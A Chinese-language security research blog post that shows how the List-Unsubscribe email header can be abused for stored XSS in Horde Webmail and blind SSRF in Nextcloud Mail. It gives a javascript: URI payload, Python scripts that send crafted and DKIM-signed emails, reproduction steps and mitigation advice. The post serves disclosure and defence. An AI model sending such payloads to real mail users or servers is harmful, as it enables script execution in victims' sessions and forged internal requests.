利用List-Unsubscribe头实现SSRF与XSS攻击

本文深入探讨了SMTP邮件头List-Unsubscribe被滥用于发起服务器端请求伪造和跨站脚本攻击的技术细节,并以Horde Webmail和Nextcloud Mail App的实际漏洞为例,提供了复现方法和防护建议。

将List-Unsubscribe转变为SSRF/XSS攻击利器

List-Unsubscribe SMTP头部字段是一个标准化但常在安全评估中被忽视的组件。它旨在让邮件客户端为用户提供便捷的退订邮件列表功能。本文讨论了在特定场景下,如何滥用此头部字段实施跨站脚本攻击和服务器端请求伪造攻击。

文中提供了涉及Horde Webmail和Nextcloud Mail App的真实世界示例,以阐明其风险。

目录

  • 基础原理
  • 通过JavaScript URI实现存储型XSS:Horde Webmail
  • 盲SSRF:Nextcloud Mail App
  • 建议
  • 结论

基础原理

List-Unsubscribe SMTP头部字段定义于RFC 2369,允许邮件客户端为用户提供从邮件列表退订的便捷方式。

以下示例取自RFC 2369第3.2节:

List-Unsubscribe字段描述了直接退订用户的命令(最好使用邮件方式)。 示例:

1
2
3
4
5
6
  List-Unsubscribe: <mailto:list@host.com?subject=unsubscribe>
  List-Unsubscribe: (Use this command to get off the list)
    <mailto:list-manager@host.com?body=unsubscribe%20list>
  List-Unsubscribe: <mailto:list-off@host.com>
  List-Unsubscribe: <http://www.host.com/list.cgi?cmd=unsub&lst=list>,
    <mailto:list-request@host.com?subject=unsubscribe>

理论上就是如此。目前听起来并不太令人兴奋,对吗?

很容易被忽略,但最有趣的例子是最后一个,它同时包含了一个HTTP URI和一个mailto链接。我们能否在这里简单地添加任意的http(s):// URI?其他协议呢?

许多现代邮件客户端和网页邮件应用已实现对此头部的支持以提升用户体验。例如,当邮件包含List-Unsubscribe头部时,客户端可能会渲染一个按钮或链接,允许用户一键退订。这在网页邮件应用的上下文中尤其有趣,因为退订过程可以直接从Web界面发起。

锚标签、URI……JavaScript URI?可能性是无限的。

或者,一些网页邮件应用在终端用户点击退订按钮时,会在服务器端发送退订请求。如果应用没有正确验证提供的URI,这可能导致服务器端请求伪造漏洞。

通过JavaScript URI实现存储型XSS:Horde Webmail (CVE-2025-68673)

在Horde中发现了一个存储型跨站脚本漏洞的真实案例。当邮件包含List-Unsubscribe SMTP头部时,在邮件详情视图中会渲染一个按钮,允许用户直接从邮件列表退订。

恶意攻击者可以通过包含JavaScript URI来利用此行为,当终端用户点击链接时,允许他们在Horde安装的源中执行JavaScript:

1
2
3
4
5
6
7
8
<table class="horde-table mailinglistinfo">
 <tbody>
  <tr>
   <td>Unsubscribe</td>
   <td><a href="javascript://lhq.at/%0aconfirm(document.domain)" target="_blank">javascript://lhq.at/%0aconfirm(document.domain)</a></td>
  </tr>
 </tbody>
</table>

可采取以下步骤复现此问题:

  1. 发送一封在List-Unsubscribe中包含JavaScript URI <javascript://lhq.at/%0aconfirm(document.domain)> 的邮件。根据需要调整 smtp_usersmtp_password
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    
    #!/usr/bin/env python3
    import smtplib
    from email.message import EmailMessage
    
    def send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers=None):
        try:
            # Create the email message
            msg = EmailMessage()
            msg.set_content(body)
            msg['From'] = sender
            msg['To'] = recipient
            msg['Subject'] = subject
    
            # Add custom headers if provided
            if headers:
                for header, value in headers.items():
                    msg[header] = value
    
            # Connect to the SMTP server and send the email
            with smtplib.SMTP(smtp_server, smtp_port) as server:
                print(f"Connecting to SMTP server: {smtp_server}:{smtp_port}")
                server.starttls()
                print("Starting TLS encryption")
                server.login(smtp_user, smtp_password)
                print(f"Logged in as {smtp_user}")
                server.send_message(msg)
                print(f"Email sent to {recipient} successfully.")
        except Exception as e:
            print(f"Failed to send email: {e}")
    
    if __name__ == "__main__":
        smtp_server = 'mail.your-server.de'
        smtp_port = 587
        smtp_user = '[REDACTED]'
        smtp_password = '[REDACTED]'
        sender = 'test@lhq.at'
        recipient = 'test@lhq.at'
        subject = 'Test Mail'
        body = """
    Hey!
        """
        headers = {
            'List-Unsubscribe': '<javascript://lhq.at/%0aconfirm(document.domain)>',
            'List-Unsubscribe-Post': 'List-Unsubscribe=One-Click'
        }
    
        send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers)
    
  2. 导航到邮件详情视图: https://[REDACTED]/imp/dynamic.php?page=message&buid=10&mailbox=[REDACTED]&token=[REDACTED]&uniq=[REDACTED]
  3. 点击“List Info”: https://[REDACTED]/imp/dynamic.php?page=message&buid=10&mailbox=[REDACTED]&token=[REDACTED]&uniq=[REDACTED]
  4. 注意位于 https://[REDACTED]/imp/basic.php?page=listinfo&u=[REDACTED]&buid=10&mailbox=SU5CT1g&uniq=[REDACTED] 的退订链接包含了JavaScript URI:
    1
    2
    3
    4
    5
    6
    7
    8
    
    <table class="horde-table mailinglistinfo">
     <tbody>
      <tr>
       <td>Unsubscribe</td>
       <td><a href="javascript://lhq.at/%0aconfirm(document.domain)" target="_blank">javascript://lhq.at/%0aconfirm(document.domain)</a></td>
      </tr>
     </tbody>
    </table>
    
  5. 点击链接并观察JavaScript执行。由于使用了 target="_blank",您需要:
    • 按住Ctrl键点击链接
    • 使用鼠标中键点击链接
    • 右键点击并选择“在新标签页中打开”

此问题于2024年12月18日报告给 security@horde.org,但截至2025年12月18日尚未得到确认。

盲SSRF:Nextcloud Mail App

Nextcloud的Mail应用支持List-Unsubscribe SMTP头部以从邮件列表退订。

当终端用户退订时,Nextcloud实例会发出一个服务器端请求。

在研究过程中,看起来Nextcloud允许通过List-Unsubscribe头部伪造SSRF请求到任意的内部目标。然而,这似乎仅在开发配置标志 'allow_local_remote_servers' => true 被设置或其他支持因素存在时才可能被利用。这是基于Nextcloud在hackerone.com/reports/2902856上的评估。

请注意,要启用通过HTTPS退订,需要有效的DKIM签名。以下Python脚本期望您已设置DKIM并拥有私钥: send.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
import smtplib
from email.message import EmailMessage
import dkim

def send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers=None, dkim_selector=None, dkim_domain=None, dkim_private_key=None):
    try:
        # Create the email message
        msg = EmailMessage()
        msg.set_content(body)
        msg['From'] = sender
        msg['To'] = recipient
        msg['Subject'] = subject

        # Add custom headers if provided
        if headers:
            for header, value in headers.items():
                msg[header] = value

        # Convert the EmailMessage to bytes for DKIM signing
        email_bytes = msg.as_bytes()

        # Add DKIM signature if provided
        if dkim_selector and dkim_domain and dkim_private_key:
            dkim_header = dkim.sign(
                message=email_bytes,
                selector=dkim_selector.encode(),
                domain=dkim_domain.encode(),
                privkey=dkim_private_key.encode(),
                include_headers=['From', 'To', 'Subject']
            )
            msg['DKIM-Signature'] = dkim_header[len('DKIM-Signature: '):].decode().replace("\n", "").replace("\r", "")

        # Connect to the SMTP server and send the email
        with smtplib.SMTP(smtp_server, smtp_port) as server:
            print(f"Connecting to SMTP server: {smtp_server}:{smtp_port}")
            server.starttls()
            print("Starting TLS encryption")
            server.login(smtp_user, smtp_password)
            print(f"Logged in as {smtp_user}")
            server.send_message(msg)
            print(f"Email sent to {recipient} successfully.")
    except Exception as e:
        print(f"Failed to send email: {e}")

# Example usage
if __name__ == "__main__":
    smtp_server = 'mail.your-server.de'
    smtp_port = 587
    smtp_user = '[REDACTED]'
    smtp_password = '[REDACTED]'
    sender = 'test@lhq.at'
    recipient = 'test@lhq.at'
    subject = '[Your Mailing List] Test Mail'
    body = """
<s>Test123!
    """
    headers = {
        'List-Unsubscribe': '<http://abcdef.oastify.com>',
        'List-Unsubscribe-Post': 'List-Unsubscribe=One-Click'
    }
    dkim_selector = 'default'
    dkim_domain = 'lhq.at'
    dkim_private_key = """-----BEGIN PRIVATE KEY-----
[REDACTED]
-----END PRIVATE KEY-----"""

    send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers, dkim_selector, dkim_domain, dkim_private_key)

可采取以下步骤复现带外部协作器的SSRF:

  1. 为您的域名设置DKIM,并更新 dkim_selectordkim_domaindkim_private_key
  2. 调整 smtp_usersmtp_password
  3. 使用您将在Nextcloud实例中使用的账户作为收件人。
  4. 'List-Unsubscribe': '<http://abcdef.oastify.com>' 中使用您自己的协作器实例。
  5. 通过 python send.py 发送邮件。
  6. 浏览收到的邮件并点击“退订”。

建议

一般性建议非常简单且不言自明:将应用程序的所有输入都视为潜在危险,尤其是在被解释为URI/URL时。

在实现List-Unsubscribe SMTP头部支持时,网页邮件应用应该:

  1. 验证并清理提供的URI,以防止XSS攻击。例如,禁止 javascript: URI。更多指导请参考OWASP XSS预防手册。
  2. 实施适当的服务器端验证以防止SSRF攻击。这可能包括限制可以通过退订链接访问的允许域名或IP范围。更多指导请参考OWASP SSRF预防手册。
  3. 记录退订请求以进行审计和监控。

结论

本文再次展示了,当旧的标准和协议在现代应用中实现时,仍然可能蕴含有趣的安全隐患。List-Unsubscribe SMTP头部虽然旨在提升用户体验,但如果处理不当,可能被利用进行XSS和SSRF攻击。

如果你的漏洞赏金或渗透测试目标包含网页邮件应用,请考虑测试List-Unsubscribe头部是否存在潜在漏洞。你可能会对你的发现感到惊讶!

总的来说,这项研究强调了在评估实现相关RFC和标准的应用程序时,阅读和理解这些标准的重要性。即使是看似良性的功能,如果实现不当,也可能引入重大的安全风险。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计